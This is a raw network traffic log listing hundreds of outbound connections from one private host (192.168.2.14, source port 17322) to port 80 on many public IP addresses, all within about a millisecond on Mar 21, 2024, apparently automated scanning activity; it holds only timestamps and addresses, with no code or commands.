Mar 21, 2024 05:21:09.762236118 CET	17322	80	192.168.2.14	86.51.199.98
Mar 21, 2024 05:21:09.762233973 CET	17322	80	192.168.2.14	82.72.46.114
Mar 21, 2024 05:21:09.762238026 CET	17322	80	192.168.2.14	213.80.99.116
Mar 21, 2024 05:21:09.762238026 CET	17322	80	192.168.2.14	80.51.152.37
Mar 21, 2024 05:21:09.762238026 CET	17322	80	192.168.2.14	82.197.3.21
Mar 21, 2024 05:21:09.762236118 CET	17322	80	192.168.2.14	82.137.250.19
Mar 21, 2024 05:21:09.762242079 CET	17322	80	192.168.2.14	200.80.56.175
Mar 21, 2024 05:21:09.762238026 CET	17322	80	192.168.2.14	82.111.27.51
Mar 21, 2024 05:21:09.762233973 CET	17322	80	192.168.2.14	178.95.8.204
Mar 21, 2024 05:21:09.762242079 CET	17322	80	192.168.2.14	86.161.201.74
Mar 21, 2024 05:21:09.762236118 CET	17322	80	192.168.2.14	213.220.71.20
Mar 21, 2024 05:21:09.762242079 CET	17322	80	192.168.2.14	178.43.241.254
Mar 21, 2024 05:21:09.762280941 CET	17322	80	192.168.2.14	80.58.32.80
Mar 21, 2024 05:21:09.762280941 CET	17322	80	192.168.2.14	178.119.204.173
Mar 21, 2024 05:21:09.762280941 CET	17322	80	192.168.2.14	169.178.203.140
Mar 21, 2024 05:21:09.762280941 CET	17322	80	192.168.2.14	82.47.38.49
Mar 21, 2024 05:21:09.762290001 CET	17322	80	192.168.2.14	178.240.160.249
Mar 21, 2024 05:21:09.762290001 CET	17322	80	192.168.2.14	206.251.25.98
Mar 21, 2024 05:21:09.762290001 CET	17322	80	192.168.2.14	181.65.68.99
Mar 21, 2024 05:21:09.762291908 CET	17322	80	192.168.2.14	200.121.237.40
Mar 21, 2024 05:21:09.762291908 CET	17322	80	192.168.2.14	206.93.8.117
Mar 21, 2024 05:21:09.762291908 CET	17322	80	192.168.2.14	82.47.236.129
Mar 21, 2024 05:21:09.762303114 CET	17322	80	192.168.2.14	181.31.58.88
Mar 21, 2024 05:21:09.762303114 CET	17322	80	192.168.2.14	169.84.16.50
Mar 21, 2024 05:21:09.762304068 CET	17322	80	192.168.2.14	178.139.211.128
Mar 21, 2024 05:21:09.762304068 CET	17322	80	192.168.2.14	86.74.136.251
Mar 21, 2024 05:21:09.762304068 CET	17322	80	192.168.2.14	213.0.241.90
Mar 21, 2024 05:21:09.762310028 CET	17322	80	192.168.2.14	80.171.19.48
Mar 21, 2024 05:21:09.762310028 CET	17322	80	192.168.2.14	200.90.201.238
Mar 21, 2024 05:21:09.762310028 CET	17322	80	192.168.2.14	181.85.178.71
Mar 21, 2024 05:21:09.762310982 CET	17322	80	192.168.2.14	200.136.46.135
Mar 21, 2024 05:21:09.762310982 CET	17322	80	192.168.2.14	181.160.149.235
Mar 21, 2024 05:21:09.762310982 CET	17322	80	192.168.2.14	206.106.126.144
Mar 21, 2024 05:21:09.762310982 CET	17322	80	192.168.2.14	178.126.249.141
Mar 21, 2024 05:21:09.762311935 CET	17322	80	192.168.2.14	206.163.39.64
Mar 21, 2024 05:21:09.762315035 CET	17322	80	192.168.2.14	213.178.251.46
Mar 21, 2024 05:21:09.762315989 CET	17322	80	192.168.2.14	82.49.45.146
Mar 21, 2024 05:21:09.762315989 CET	17322	80	192.168.2.14	169.189.16.127
Mar 21, 2024 05:21:09.762322903 CET	17322	80	192.168.2.14	82.104.243.71
Mar 21, 2024 05:21:09.762322903 CET	17322	80	192.168.2.14	178.11.203.110
Mar 21, 2024 05:21:09.762324095 CET	17322	80	192.168.2.14	200.222.201.238
Mar 21, 2024 05:21:09.762324095 CET	17322	80	192.168.2.14	83.169.189.237
Mar 21, 2024 05:21:09.762330055 CET	17322	80	192.168.2.14	178.44.128.78
Mar 21, 2024 05:21:09.762330055 CET	17322	80	192.168.2.14	86.15.99.223
Mar 21, 2024 05:21:09.762330055 CET	17322	80	192.168.2.14	213.188.216.50
Mar 21, 2024 05:21:09.762361050 CET	17322	80	192.168.2.14	82.9.114.162
Mar 21, 2024 05:21:09.762361050 CET	17322	80	192.168.2.14	82.114.227.9
Mar 21, 2024 05:21:09.762363911 CET	17322	80	192.168.2.14	169.166.109.209
Mar 21, 2024 05:21:09.762363911 CET	17322	80	192.168.2.14	169.14.195.72
Mar 21, 2024 05:21:09.762365103 CET	17322	80	192.168.2.14	206.254.12.164
Mar 21, 2024 05:21:09.762365103 CET	17322	80	192.168.2.14	178.78.179.183
Mar 21, 2024 05:21:09.762367010 CET	17322	80	192.168.2.14	213.183.0.219
Mar 21, 2024 05:21:09.762367010 CET	17322	80	192.168.2.14	181.23.1.36
Mar 21, 2024 05:21:09.762367010 CET	17322	80	192.168.2.14	86.17.89.178
Mar 21, 2024 05:21:09.762367010 CET	17322	80	192.168.2.14	169.22.30.182
Mar 21, 2024 05:21:09.762367010 CET	17322	80	192.168.2.14	80.145.119.58
Mar 21, 2024 05:21:09.762368917 CET	17322	80	192.168.2.14	200.187.177.127
Mar 21, 2024 05:21:09.762368917 CET	17322	80	192.168.2.14	200.74.130.44
Mar 21, 2024 05:21:09.762368917 CET	17322	80	192.168.2.14	181.185.115.45
Mar 21, 2024 05:21:09.762371063 CET	17322	80	192.168.2.14	82.159.252.30
Mar 21, 2024 05:21:09.762368917 CET	17322	80	192.168.2.14	206.158.169.174
Mar 21, 2024 05:21:09.762368917 CET	17322	80	192.168.2.14	86.227.219.146
Mar 21, 2024 05:21:09.762371063 CET	17322	80	192.168.2.14	206.216.22.162
Mar 21, 2024 05:21:09.762370110 CET	17322	80	192.168.2.14	80.64.17.164
Mar 21, 2024 05:21:09.762371063 CET	17322	80	192.168.2.14	82.24.126.183
Mar 21, 2024 05:21:09.762386084 CET	17322	80	192.168.2.14	83.122.48.168
Mar 21, 2024 05:21:09.762386084 CET	17322	80	192.168.2.14	178.157.120.58
Mar 21, 2024 05:21:09.762386084 CET	17322	80	192.168.2.14	181.193.40.58
Mar 21, 2024 05:21:09.762386084 CET	17322	80	192.168.2.14	213.211.161.246
Mar 21, 2024 05:21:09.762386084 CET	17322	80	192.168.2.14	83.197.97.134
Mar 21, 2024 05:21:09.762391090 CET	17322	80	192.168.2.14	83.57.217.103
Mar 21, 2024 05:21:09.762391090 CET	17322	80	192.168.2.14	169.161.95.26
Mar 21, 2024 05:21:09.762391090 CET	17322	80	192.168.2.14	82.199.230.225
Mar 21, 2024 05:21:09.762391090 CET	17322	80	192.168.2.14	86.230.28.173
Mar 21, 2024 05:21:09.762391090 CET	17322	80	192.168.2.14	213.6.120.180
Mar 21, 2024 05:21:09.762391090 CET	17322	80	192.168.2.14	206.0.232.244
Mar 21, 2024 05:21:09.762391090 CET	17322	80	192.168.2.14	181.71.150.191
Mar 21, 2024 05:21:09.762391090 CET	17322	80	192.168.2.14	206.197.164.158
Mar 21, 2024 05:21:09.762404919 CET	17322	80	192.168.2.14	206.226.60.119
Mar 21, 2024 05:21:09.762404919 CET	17322	80	192.168.2.14	169.121.123.126
Mar 21, 2024 05:21:09.762404919 CET	17322	80	192.168.2.14	86.33.237.189
Mar 21, 2024 05:21:09.762404919 CET	17322	80	192.168.2.14	83.250.134.213
Mar 21, 2024 05:21:09.762420893 CET	17322	80	192.168.2.14	206.140.145.85
Mar 21, 2024 05:21:09.762420893 CET	17322	80	192.168.2.14	206.40.249.56
Mar 21, 2024 05:21:09.762420893 CET	17322	80	192.168.2.14	80.139.25.176
Mar 21, 2024 05:21:09.762420893 CET	17322	80	192.168.2.14	213.93.9.29
Mar 21, 2024 05:21:09.762420893 CET	17322	80	192.168.2.14	206.168.211.62
Mar 21, 2024 05:21:09.762420893 CET	17322	80	192.168.2.14	169.124.73.108
Mar 21, 2024 05:21:09.762444019 CET	17322	80	192.168.2.14	181.200.155.64
Mar 21, 2024 05:21:09.762444019 CET	17322	80	192.168.2.14	178.113.252.28
Mar 21, 2024 05:21:09.762444973 CET	17322	80	192.168.2.14	83.180.72.36
Mar 21, 2024 05:21:09.762444973 CET	17322	80	192.168.2.14	82.162.234.13
Mar 21, 2024 05:21:09.762444973 CET	17322	80	192.168.2.14	80.51.254.195
Mar 21, 2024 05:21:09.762447119 CET	17322	80	192.168.2.14	206.58.87.29
Mar 21, 2024 05:21:09.762447119 CET	17322	80	192.168.2.14	213.169.39.120
Mar 21, 2024 05:21:09.762447119 CET	17322	80	192.168.2.14	169.200.8.156
Mar 21, 2024 05:21:09.762456894 CET	17322	80	192.168.2.14	86.5.85.3
Mar 21, 2024 05:21:09.762456894 CET	17322	80	192.168.2.14	181.62.20.33
Mar 21, 2024 05:21:09.762456894 CET	17322	80	192.168.2.14	82.88.213.171
Mar 21, 2024 05:21:09.762456894 CET	17322	80	192.168.2.14	83.90.5.131
Mar 21, 2024 05:21:09.762456894 CET	17322	80	192.168.2.14	178.247.27.59
Mar 21, 2024 05:21:09.762458086 CET	17322	80	192.168.2.14	213.134.92.30
Mar 21, 2024 05:21:09.762469053 CET	17322	80	192.168.2.14	86.168.22.199
Mar 21, 2024 05:21:09.762469053 CET	17322	80	192.168.2.14	82.135.97.255
Mar 21, 2024 05:21:09.762469053 CET	17322	80	192.168.2.14	83.126.248.203
Mar 21, 2024 05:21:09.762470007 CET	17322	80	192.168.2.14	200.63.248.186
Mar 21, 2024 05:21:09.762469053 CET	17322	80	192.168.2.14	169.97.45.137
Mar 21, 2024 05:21:09.762470007 CET	17322	80	192.168.2.14	178.7.214.4
Mar 21, 2024 05:21:09.762469053 CET	17322	80	192.168.2.14	181.19.131.48
Mar 21, 2024 05:21:09.762471914 CET	17322	80	192.168.2.14	206.169.86.238
Mar 21, 2024 05:21:09.762469053 CET	17322	80	192.168.2.14	213.7.198.173
Mar 21, 2024 05:21:09.762471914 CET	17322	80	192.168.2.14	86.139.163.131
Mar 21, 2024 05:21:09.762469053 CET	17322	80	192.168.2.14	213.190.233.156
Mar 21, 2024 05:21:09.762470007 CET	17322	80	192.168.2.14	200.108.156.100
Mar 21, 2024 05:21:09.762471914 CET	17322	80	192.168.2.14	83.8.32.103
Mar 21, 2024 05:21:09.762470007 CET	17322	80	192.168.2.14	80.155.159.79
Mar 21, 2024 05:21:09.762471914 CET	17322	80	192.168.2.14	200.140.83.42
Mar 21, 2024 05:21:09.762470007 CET	17322	80	192.168.2.14	206.5.99.37
Mar 21, 2024 05:21:09.762495995 CET	17322	80	192.168.2.14	200.7.105.239
Mar 21, 2024 05:21:09.762514114 CET	17322	80	192.168.2.14	200.83.71.246
Mar 21, 2024 05:21:09.762514114 CET	17322	80	192.168.2.14	169.177.206.49
Mar 21, 2024 05:21:09.762514114 CET	17322	80	192.168.2.14	200.19.92.200
Mar 21, 2024 05:21:09.762517929 CET	17322	80	192.168.2.14	86.219.165.101
Mar 21, 2024 05:21:09.762520075 CET	17322	80	192.168.2.14	181.51.96.24
Mar 21, 2024 05:21:09.762520075 CET	17322	80	192.168.2.14	200.143.110.183
Mar 21, 2024 05:21:09.762520075 CET	17322	80	192.168.2.14	82.130.5.164
Mar 21, 2024 05:21:09.762520075 CET	17322	80	192.168.2.14	181.225.143.59
Mar 21, 2024 05:21:09.762522936 CET	17322	80	192.168.2.14	86.240.218.20
Mar 21, 2024 05:21:09.762520075 CET	17322	80	192.168.2.14	200.243.178.101
Mar 21, 2024 05:21:09.762522936 CET	17322	80	192.168.2.14	169.26.93.63
Mar 21, 2024 05:21:09.762521029 CET	17322	80	192.168.2.14	178.5.233.13
Mar 21, 2024 05:21:09.762528896 CET	17322	80	192.168.2.14	169.245.150.229
Mar 21, 2024 05:21:09.762530088 CET	17322	80	192.168.2.14	206.73.109.253
Mar 21, 2024 05:21:09.762527943 CET	17322	80	192.168.2.14	82.19.124.113
Mar 21, 2024 05:21:09.762530088 CET	17322	80	192.168.2.14	80.17.85.81
Mar 21, 2024 05:21:09.762527943 CET	17322	80	192.168.2.14	181.103.85.95
Mar 21, 2024 05:21:09.762528896 CET	17322	80	192.168.2.14	80.207.90.85
Mar 21, 2024 05:21:09.762528896 CET	17322	80	192.168.2.14	80.97.232.33
Mar 21, 2024 05:21:09.762540102 CET	17322	80	192.168.2.14	206.173.52.20
Mar 21, 2024 05:21:09.762541056 CET	17322	80	192.168.2.14	181.231.96.39
Mar 21, 2024 05:21:09.762528896 CET	17322	80	192.168.2.14	169.143.170.119
Mar 21, 2024 05:21:09.762541056 CET	17322	80	192.168.2.14	213.109.96.40
Mar 21, 2024 05:21:09.762528896 CET	17322	80	192.168.2.14	169.29.38.80
Mar 21, 2024 05:21:09.762562990 CET	17322	80	192.168.2.14	80.26.72.103
Mar 21, 2024 05:21:09.762562990 CET	17322	80	192.168.2.14	169.231.138.217
Mar 21, 2024 05:21:09.762566090 CET	17322	80	192.168.2.14	169.170.220.230
Mar 21, 2024 05:21:09.762567043 CET	17322	80	192.168.2.14	169.116.20.142
Mar 21, 2024 05:21:09.762567043 CET	17322	80	192.168.2.14	206.95.239.145
Mar 21, 2024 05:21:09.762574911 CET	17322	80	192.168.2.14	181.64.4.139
Mar 21, 2024 05:21:09.762574911 CET	17322	80	192.168.2.14	86.206.238.200
Mar 21, 2024 05:21:09.762574911 CET	17322	80	192.168.2.14	169.97.95.253
Mar 21, 2024 05:21:09.762574911 CET	17322	80	192.168.2.14	181.19.253.71
Mar 21, 2024 05:21:09.762578011 CET	17322	80	192.168.2.14	83.13.229.251
Mar 21, 2024 05:21:09.762592077 CET	17322	80	192.168.2.14	86.195.8.7
Mar 21, 2024 05:21:09.762592077 CET	17322	80	192.168.2.14	213.38.95.50
Mar 21, 2024 05:21:09.762592077 CET	17322	80	192.168.2.14	206.110.250.38
Mar 21, 2024 05:21:09.762592077 CET	17322	80	192.168.2.14	200.43.113.102
Mar 21, 2024 05:21:09.762593985 CET	17322	80	192.168.2.14	86.31.251.4
Mar 21, 2024 05:21:09.762592077 CET	17322	80	192.168.2.14	82.231.225.175
Mar 21, 2024 05:21:09.762593985 CET	17322	80	192.168.2.14	181.198.4.95
Mar 21, 2024 05:21:09.762602091 CET	17322	80	192.168.2.14	82.208.215.189
Mar 21, 2024 05:21:09.762603045 CET	17322	80	192.168.2.14	206.77.205.146
Mar 21, 2024 05:21:09.762607098 CET	17322	80	192.168.2.14	181.223.151.146
Mar 21, 2024 05:21:09.762607098 CET	17322	80	192.168.2.14	200.179.90.152
Mar 21, 2024 05:21:09.762609005 CET	17322	80	192.168.2.14	178.245.39.58
Mar 21, 2024 05:21:09.762609005 CET	17322	80	192.168.2.14	181.25.69.34
Mar 21, 2024 05:21:09.762609005 CET	17322	80	192.168.2.14	213.187.204.192
Mar 21, 2024 05:21:09.762609005 CET	17322	80	192.168.2.14	83.126.69.196
Mar 21, 2024 05:21:09.762609005 CET	17322	80	192.168.2.14	178.112.117.221
Mar 21, 2024 05:21:09.762614965 CET	17322	80	192.168.2.14	83.19.0.199
Mar 21, 2024 05:21:09.762614965 CET	17322	80	192.168.2.14	200.35.250.174
Mar 21, 2024 05:21:09.762614965 CET	17322	80	192.168.2.14	206.112.43.147
Mar 21, 2024 05:21:09.762614965 CET	17322	80	192.168.2.14	83.131.11.67
Mar 21, 2024 05:21:09.762614965 CET	17322	80	192.168.2.14	178.158.66.221
Mar 21, 2024 05:21:09.762623072 CET	17322	80	192.168.2.14	80.19.17.226
Mar 21, 2024 05:21:09.762623072 CET	17322	80	192.168.2.14	82.145.208.121
Mar 21, 2024 05:21:09.762623072 CET	17322	80	192.168.2.14	181.91.108.119
Mar 21, 2024 05:21:09.762624025 CET	17322	80	192.168.2.14	178.135.4.81
Mar 21, 2024 05:21:09.762623072 CET	17322	80	192.168.2.14	181.187.182.243
Mar 21, 2024 05:21:09.762623072 CET	17322	80	192.168.2.14	82.227.64.141
Mar 21, 2024 05:21:09.762623072 CET	17322	80	192.168.2.14	80.150.217.30
Mar 21, 2024 05:21:09.762633085 CET	17322	80	192.168.2.14	181.17.203.193
Mar 21, 2024 05:21:09.762633085 CET	17322	80	192.168.2.14	82.93.1.179
Mar 21, 2024 05:21:09.762633085 CET	17322	80	192.168.2.14	178.6.42.144
Mar 21, 2024 05:21:09.762633085 CET	17322	80	192.168.2.14	206.17.155.73
Mar 21, 2024 05:21:09.762650967 CET	17322	80	192.168.2.14	178.3.72.125
Mar 21, 2024 05:21:09.762651920 CET	17322	80	192.168.2.14	83.227.216.8
Mar 21, 2024 05:21:09.762651920 CET	17322	80	192.168.2.14	86.76.10.112
Mar 21, 2024 05:21:09.762664080 CET	17322	80	192.168.2.14	86.85.97.156
Mar 21, 2024 05:21:09.762664080 CET	17322	80	192.168.2.14	80.68.101.221
Mar 21, 2024 05:21:09.762665987 CET	17322	80	192.168.2.14	178.180.119.163
Mar 21, 2024 05:21:09.762665987 CET	17322	80	192.168.2.14	213.131.25.223
Mar 21, 2024 05:21:09.762665987 CET	17322	80	192.168.2.14	181.218.202.131
Mar 21, 2024 05:21:09.762665987 CET	17322	80	192.168.2.14	80.144.182.193
Mar 21, 2024 05:21:09.762672901 CET	17322	80	192.168.2.14	206.179.242.212
Mar 21, 2024 05:21:09.762672901 CET	17322	80	192.168.2.14	82.174.98.241
Mar 21, 2024 05:21:09.762672901 CET	17322	80	192.168.2.14	213.178.169.199
Mar 21, 2024 05:21:09.762672901 CET	17322	80	192.168.2.14	169.71.171.65
Mar 21, 2024 05:21:09.762672901 CET	17322	80	192.168.2.14	206.88.40.126
Mar 21, 2024 05:21:09.762672901 CET	17322	80	192.168.2.14	178.123.137.189
Mar 21, 2024 05:21:09.762674093 CET	17322	80	192.168.2.14	169.249.199.250
Mar 21, 2024 05:21:09.762679100 CET	17322	80	192.168.2.14	82.150.150.239
Mar 21, 2024 05:21:09.762679100 CET	17322	80	192.168.2.14	181.6.181.140
Mar 21, 2024 05:21:09.762679100 CET	17322	80	192.168.2.14	80.44.169.61
Mar 21, 2024 05:21:09.762679100 CET	17322	80	192.168.2.14	206.41.100.121
Mar 21, 2024 05:21:09.762679100 CET	17322	80	192.168.2.14	213.113.181.106
Mar 21, 2024 05:21:09.762679100 CET	17322	80	192.168.2.14	82.6.95.240
Mar 21, 2024 05:21:09.762679100 CET	17322	80	192.168.2.14	181.255.204.251
Mar 21, 2024 05:21:09.762679100 CET	17322	80	192.168.2.14	206.104.13.12
Mar 21, 2024 05:21:09.762689114 CET	17322	80	192.168.2.14	80.89.41.2
Mar 21, 2024 05:21:09.762691975 CET	17322	80	192.168.2.14	82.97.15.184
Mar 21, 2024 05:21:09.762691975 CET	17322	80	192.168.2.14	86.215.201.238
Mar 21, 2024 05:21:09.762691975 CET	17322	80	192.168.2.14	213.202.133.19
Mar 21, 2024 05:21:09.762701988 CET	17322	80	192.168.2.14	206.70.81.184
Mar 21, 2024 05:21:09.762701988 CET	17322	80	192.168.2.14	80.17.147.108
Mar 21, 2024 05:21:09.762701988 CET	17322	80	192.168.2.14	181.94.43.154
Mar 21, 2024 05:21:09.762701988 CET	17322	80	192.168.2.14	83.73.88.89
Mar 21, 2024 05:21:09.762701988 CET	17322	80	192.168.2.14	80.251.10.126
Mar 21, 2024 05:21:09.762701988 CET	17322	80	192.168.2.14	181.135.41.28
Mar 21, 2024 05:21:09.762706041 CET	17322	80	192.168.2.14	181.184.200.239
Mar 21, 2024 05:21:09.762706041 CET	17322	80	192.168.2.14	82.69.134.201
Mar 21, 2024 05:21:09.762706041 CET	17322	80	192.168.2.14	80.188.252.249
Mar 21, 2024 05:21:09.762706995 CET	17322	80	192.168.2.14	213.52.214.25
Mar 21, 2024 05:21:09.762706041 CET	17322	80	192.168.2.14	169.233.69.97
Mar 21, 2024 05:21:09.762721062 CET	17322	80	192.168.2.14	178.231.43.150
Mar 21, 2024 05:21:09.762722015 CET	17322	80	192.168.2.14	80.201.219.134
Mar 21, 2024 05:21:09.762722015 CET	17322	80	192.168.2.14	169.154.204.254
Mar 21, 2024 05:21:09.762722015 CET	17322	80	192.168.2.14	200.152.201.59
Mar 21, 2024 05:21:09.762722015 CET	17322	80	192.168.2.14	80.34.211.169
Mar 21, 2024 05:21:09.762722015 CET	17322	80	192.168.2.14	86.188.160.84
Mar 21, 2024 05:21:09.762733936 CET	17322	80	192.168.2.14	80.14.163.162
Mar 21, 2024 05:21:09.762742996 CET	17322	80	192.168.2.14	169.56.208.142
Mar 21, 2024 05:21:09.762756109 CET	17322	80	192.168.2.14	86.115.57.142
Mar 21, 2024 05:21:09.762767076 CET	17322	80	192.168.2.14	200.215.84.151
Mar 21, 2024 05:21:09.762767076 CET	17322	80	192.168.2.14	181.152.86.35
Mar 21, 2024 05:21:09.762767076 CET	17322	80	192.168.2.14	206.208.249.215
Mar 21, 2024 05:21:09.762768984 CET	17322	80	192.168.2.14	83.219.218.240
Mar 21, 2024 05:21:09.762768984 CET	17322	80	192.168.2.14	213.250.15.25
Mar 21, 2024 05:21:09.762769938 CET	17322	80	192.168.2.14	206.205.110.177
Mar 21, 2024 05:21:09.762769938 CET	17322	80	192.168.2.14	200.209.112.118
Mar 21, 2024 05:21:09.762769938 CET	17322	80	192.168.2.14	206.85.124.7
Mar 21, 2024 05:21:09.762778044 CET	17322	80	192.168.2.14	82.121.207.33
Mar 21, 2024 05:21:09.762778044 CET	17322	80	192.168.2.14	82.174.207.188
Mar 21, 2024 05:21:09.762778044 CET	17322	80	192.168.2.14	178.225.238.186
Mar 21, 2024 05:21:09.762778044 CET	17322	80	192.168.2.14	178.21.171.190
Mar 21, 2024 05:21:09.762782097 CET	17322	80	192.168.2.14	213.176.158.152
Mar 21, 2024 05:21:09.762782097 CET	17322	80	192.168.2.14	83.3.68.122
Mar 21, 2024 05:21:09.762782097 CET	17322	80	192.168.2.14	200.186.207.156
Mar 21, 2024 05:21:09.762782097 CET	17322	80	192.168.2.14	206.194.90.159
Mar 21, 2024 05:21:09.762782097 CET	17322	80	192.168.2.14	181.161.207.42
Mar 21, 2024 05:21:09.762782097 CET	17322	80	192.168.2.14	83.250.25.71
Mar 21, 2024 05:21:09.762814045 CET	17322	80	192.168.2.14	213.213.183.201
Mar 21, 2024 05:21:09.762814045 CET	17322	80	192.168.2.14	213.149.71.2
Mar 21, 2024 05:21:09.762814045 CET	17322	80	192.168.2.14	80.48.21.34
Mar 21, 2024 05:21:09.762814999 CET	17322	80	192.168.2.14	169.40.11.145
Mar 21, 2024 05:21:09.762814999 CET	17322	80	192.168.2.14	200.42.163.48
Mar 21, 2024 05:21:09.762814999 CET	17322	80	192.168.2.14	181.205.42.214
Mar 21, 2024 05:21:09.762814999 CET	17322	80	192.168.2.14	82.86.81.199
Mar 21, 2024 05:21:09.762814999 CET	17322	80	192.168.2.14	213.160.110.148
Mar 21, 2024 05:21:09.762820959 CET	17322	80	192.168.2.14	200.124.186.65
Mar 21, 2024 05:21:09.762820959 CET	17322	80	192.168.2.14	83.91.89.25
Mar 21, 2024 05:21:09.762829065 CET	17322	80	192.168.2.14	213.54.143.108
Mar 21, 2024 05:21:09.762829065 CET	17322	80	192.168.2.14	213.2.169.212
Mar 21, 2024 05:21:09.762829065 CET	17322	80	192.168.2.14	169.207.54.133
Mar 21, 2024 05:21:09.762829065 CET	17322	80	192.168.2.14	200.254.118.252
Mar 21, 2024 05:21:09.762829065 CET	17322	80	192.168.2.14	169.22.124.174
Mar 21, 2024 05:21:09.762829065 CET	17322	80	192.168.2.14	181.201.39.220
Mar 21, 2024 05:21:09.762829065 CET	17322	80	192.168.2.14	169.72.108.120
Mar 21, 2024 05:21:09.762829065 CET	17322	80	192.168.2.14	86.93.224.143
Mar 21, 2024 05:21:09.762829065 CET	17322	80	192.168.2.14	181.52.106.247
Mar 21, 2024 05:21:09.762835979 CET	17322	80	192.168.2.14	213.248.183.184
Mar 21, 2024 05:21:09.762835979 CET	17322	80	192.168.2.14	82.151.186.179
Mar 21, 2024 05:21:09.762835979 CET	17322	80	192.168.2.14	86.240.224.105
Mar 21, 2024 05:21:09.762835979 CET	17322	80	192.168.2.14	200.248.64.22
Mar 21, 2024 05:21:09.762841940 CET	17322	80	192.168.2.14	86.134.121.16
Mar 21, 2024 05:21:09.762841940 CET	17322	80	192.168.2.14	181.191.2.20
Mar 21, 2024 05:21:09.762849092 CET	17322	80	192.168.2.14	80.104.157.120
Mar 21, 2024 05:21:09.762849092 CET	17322	80	192.168.2.14	178.102.229.194
Mar 21, 2024 05:21:09.762849092 CET	17322	80	192.168.2.14	82.9.39.133
Mar 21, 2024 05:21:09.762854099 CET	17322	80	192.168.2.14	83.246.187.108
Mar 21, 2024 05:21:09.762854099 CET	17322	80	192.168.2.14	83.217.61.247
Mar 21, 2024 05:21:09.762868881 CET	17322	80	192.168.2.14	181.10.83.210
Mar 21, 2024 05:21:09.762872934 CET	17322	80	192.168.2.14	178.88.182.159
Mar 21, 2024 05:21:09.762872934 CET	17322	80	192.168.2.14	83.145.3.192
Mar 21, 2024 05:21:09.762872934 CET	17322	80	192.168.2.14	213.144.205.103
Mar 21, 2024 05:21:09.762875080 CET	17322	80	192.168.2.14	178.163.29.190
Mar 21, 2024 05:21:09.762877941 CET	17322	80	192.168.2.14	206.12.131.57
Mar 21, 2024 05:21:09.762877941 CET	17322	80	192.168.2.14	178.84.188.18
Mar 21, 2024 05:21:09.762877941 CET	17322	80	192.168.2.14	178.215.108.77
Mar 21, 2024 05:21:09.762877941 CET	17322	80	192.168.2.14	213.72.8.104
Mar 21, 2024 05:21:09.762877941 CET	17322	80	192.168.2.14	82.199.34.181
Mar 21, 2024 05:21:09.762885094 CET	17322	80	192.168.2.14	200.34.231.181
Mar 21, 2024 05:21:09.762890100 CET	17322	80	192.168.2.14	86.135.229.157
Mar 21, 2024 05:21:09.762890100 CET	17322	80	192.168.2.14	83.83.155.71
Mar 21, 2024 05:21:09.762890100 CET	17322	80	192.168.2.14	169.63.251.178
Mar 21, 2024 05:21:09.762896061 CET	17322	80	192.168.2.14	206.161.144.199
Mar 21, 2024 05:21:09.762896061 CET	17322	80	192.168.2.14	86.47.164.226
Mar 21, 2024 05:21:09.762896061 CET	17322	80	192.168.2.14	206.131.87.154
Mar 21, 2024 05:21:09.762896061 CET	17322	80	192.168.2.14	178.232.230.0
Mar 21, 2024 05:21:09.762897015 CET	17322	80	192.168.2.14	83.61.6.60
Mar 21, 2024 05:21:09.762896061 CET	17322	80	192.168.2.14	200.201.71.120
Mar 21, 2024 05:21:09.762897015 CET	17322	80	192.168.2.14	213.177.249.36
Mar 21, 2024 05:21:09.762898922 CET	17322	80	192.168.2.14	83.93.242.146
Mar 21, 2024 05:21:09.762898922 CET	17322	80	192.168.2.14	169.86.8.151
Mar 21, 2024 05:21:09.762898922 CET	17322	80	192.168.2.14	80.226.136.139
Mar 21, 2024 05:21:09.762902975 CET	17322	80	192.168.2.14	80.230.60.240
Mar 21, 2024 05:21:09.762902975 CET	17322	80	192.168.2.14	169.0.39.132
Mar 21, 2024 05:21:09.762903929 CET	17322	80	192.168.2.14	206.125.145.144
Mar 21, 2024 05:21:09.762903929 CET	17322	80	192.168.2.14	86.126.91.163
Mar 21, 2024 05:21:09.762903929 CET	17322	80	192.168.2.14	181.64.130.136
Mar 21, 2024 05:21:09.762903929 CET	17322	80	192.168.2.14	169.107.1.36
Mar 21, 2024 05:21:09.762903929 CET	17322	80	192.168.2.14	80.9.114.91
Mar 21, 2024 05:21:09.762903929 CET	17322	80	192.168.2.14	169.182.165.112
Mar 21, 2024 05:21:09.762908936 CET	17322	80	192.168.2.14	169.63.228.6
Mar 21, 2024 05:21:09.762921095 CET	17322	80	192.168.2.14	80.140.9.67
Mar 21, 2024 05:21:09.762921095 CET	17322	80	192.168.2.14	200.143.98.73
Mar 21, 2024 05:21:09.762921095 CET	17322	80	192.168.2.14	178.161.1.151
Mar 21, 2024 05:21:09.762943983 CET	17322	80	192.168.2.14	82.113.178.87
Mar 21, 2024 05:21:09.762943983 CET	17322	80	192.168.2.14	82.225.227.208
Mar 21, 2024 05:21:09.762945890 CET	17322	80	192.168.2.14	206.185.109.85
Mar 21, 2024 05:21:09.762945890 CET	17322	80	192.168.2.14	181.113.230.191
Mar 21, 2024 05:21:09.762948036 CET	17322	80	192.168.2.14	213.157.56.221
Mar 21, 2024 05:21:09.762948036 CET	17322	80	192.168.2.14	80.229.158.64
Mar 21, 2024 05:21:09.762948990 CET	17322	80	192.168.2.14	181.26.33.35
Mar 21, 2024 05:21:09.762948036 CET	17322	80	192.168.2.14	181.45.245.117
Mar 21, 2024 05:21:09.762948990 CET	17322	80	192.168.2.14	80.80.131.189
Mar 21, 2024 05:21:09.762948036 CET	17322	80	192.168.2.14	178.239.94.18
Mar 21, 2024 05:21:09.762948990 CET	17322	80	192.168.2.14	83.114.255.223
Mar 21, 2024 05:21:09.762948990 CET	17322	80	192.168.2.14	213.245.46.114
Mar 21, 2024 05:21:09.762969017 CET	17322	80	192.168.2.14	169.255.27.132
Mar 21, 2024 05:21:09.762979031 CET	17322	80	192.168.2.14	178.249.186.34
Mar 21, 2024 05:21:09.762979031 CET	17322	80	192.168.2.14	80.56.87.142
Mar 21, 2024 05:21:09.762979984 CET	17322	80	192.168.2.14	178.155.58.133
Mar 21, 2024 05:21:09.762979984 CET	17322	80	192.168.2.14	200.54.232.89
Mar 21, 2024 05:21:09.762979984 CET	17322	80	192.168.2.14	169.9.2.49
Mar 21, 2024 05:21:09.762985945 CET	17322	80	192.168.2.14	169.28.150.224
Mar 21, 2024 05:21:09.762985945 CET	17322	80	192.168.2.14	206.153.196.192
Mar 21, 2024 05:21:09.762989998 CET	17322	80	192.168.2.14	80.237.128.55
Mar 21, 2024 05:21:09.762990952 CET	17322	80	192.168.2.14	86.3.50.192
Mar 21, 2024 05:21:09.763010025 CET	17322	80	192.168.2.14	181.195.228.222
